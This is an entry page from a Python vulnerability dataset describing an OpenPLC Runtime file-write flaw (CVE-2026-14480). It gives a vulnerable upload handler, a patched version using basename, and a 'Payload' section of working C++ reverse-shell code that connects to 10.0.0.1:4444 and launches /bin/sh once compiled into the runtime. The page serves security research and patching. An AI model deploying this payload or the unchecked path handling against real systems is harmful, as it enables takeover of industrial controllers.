VAITP Dataset

← Back to the dataset

CVE-2026-14480

OpenPLC authenticated file write in program upload leads to code execution.

  • CVSS 8.7
  • CWE-73
  • Input Validation and Sanitization
  • Remote

OpenPLC Runtime v3 contains an authenticated arbitrary file write vulnerability in the legacy web UI program‑upload workflow. The application stores an attacker‑supplied filename (prog_file) directly into the Programs.File database field and later uses this value as the destination path for an uploaded file without validating or restricting the path. Because Python os.path.join() honors attacker‑controlled absolute paths, an authenticated user can write arbitrary files anywhere writable by the OpenPLC webserver process. In the default build pipeline, all C++ source files within the OpenPLC runtime core directory are automatically compiled into the executable runtime binary. By writing a malicious .cpp file into this directory, an authenticated attacker can escalate the arbitrary file write into arbitrary native code execution when the operator triggers a normal program compilation and runtime start.

CVSS base score
8.7
Published
2026-07-10
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Path Traversal
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
OpenPLC Runt

Solution

Upgrade to OpenPLC Runtime v4 or later.

Vulnerable code sample

import os

# This is a simplified representation of a web request handler,
# for example, in a framework like Flask or Bottle.

# Assume 'request' is an object provided by the web framework that
# contains form data ('request.form') and uploaded files ('request.files').
# Assume 'PROGRAMS_DIR' is the intended base directory for uploads.

PROGRAMS_DIR = 'st_files'

def vulnerable_upload_program(request):
    # 1. Get the uploaded file object from the request.
    uploaded_file_obj = request.files['file']

    # 2. Get the attacker-controlled filename directly from the form data.
    # No validation or sanitization is performed on this input.
    user_supplied_filename = request.form['prog_file']

    # 3. The CVE states the filename is stored in a database and retrieved later.
    # We simulate this by simply using the variable directly.
    # The vulnerability remains the same: using the raw, untrusted filename.
    filename_from_storage = user_supplied_filename

    # 4. The destination path is constructed using the untrusted filename.
    # If `filename_from_storage` is an absolute path (e.g., '/etc/passwd' or
    # '/opt/openplc/webserver/core/malicious.cpp'), `os.path.join` will
    # ignore the `PROGRAMS_DIR` and use the absolute path directly.
    destination_path = os.path.join(PROGRAMS_DIR, filename_from_storage)

    # 5. The file is saved to the constructed path, allowing an authenticated
    # attacker to write an arbitrary file to any location on the filesystem
    # where the web server process has write permissions.
    uploaded_file_obj.save(destination_path)

Patched code sample

import os

# Represents the hardcoded, trusted directory where OpenPLC program files are stored.
# The vulnerability allowed writing files outside of this intended directory.
PROGRAM_UPLOAD_DIRECTORY = "/var/www/st_files"

def save_uploaded_program(user_supplied_filename, file_content):
    """
    Safely saves an uploaded program file by sanitizing the filename
    to prevent path traversal.
    """
    # FIX: The user-supplied filename is sanitized using os.path.basename().
    # This function strips any directory information from the path, whether
    # it's an absolute path (e.g., '/etc/passwd') or a relative path
    # (e.g., '../../../../../home/user/.bashrc').
    # What remains is only the final component of the path (the filename).
    safe_filename = os.path.basename(user_supplied_filename)

    # The sanitized filename is then safely joined with the trusted base directory.
    # Because `safe_filename` is now guaranteed to not contain any path
    # separators, os.path.join() can no longer be exploited to write a file
    # outside of the PROGRAM_UPLOAD_DIRECTORY.
    destination_path = os.path.join(PROGRAM_UPLOAD_DIRECTORY, safe_filename)

    # The application can now proceed to write the file to the secured path.
    # The database entry for this program should also store the sanitized
    # `safe_filename` instead of the original user-supplied value.
    with open(destination_path, 'wb') as f:
        f.write(file_content)

    return destination_path

Payload

#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>

struct Exploit {
    Exploit() {
        const char* ip = "10.0.0.1";
        const int port = 4444;

        int sock = socket(AF_INET, SOCK_STREAM, 0);
        struct sockaddr_in server_addr;

        memset(&server_addr, 0, sizeof(server_addr));
        server_addr.sin_family = AF_INET;
        server_addr.sin_port = htons(port);
        inet_pton(AF_INET, ip, &server_addr.sin_addr);

        if (connect(sock, (struct sockaddr*)&server_addr, sizeof(server_addr)) >= 0) {
            dup2(sock, 0);
            dup2(sock, 1);
            dup2(sock, 2);
            char * const argv[] = {"/bin/sh", NULL};
            execve("/bin/sh", argv, NULL);
        }
    }
};

static Exploit pwn;

Cite this entry

@misc{vaitp:cve202614480,
  title        = {{OpenPLC authenticated file write in program upload leads to code execution.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-14480},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-14480/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::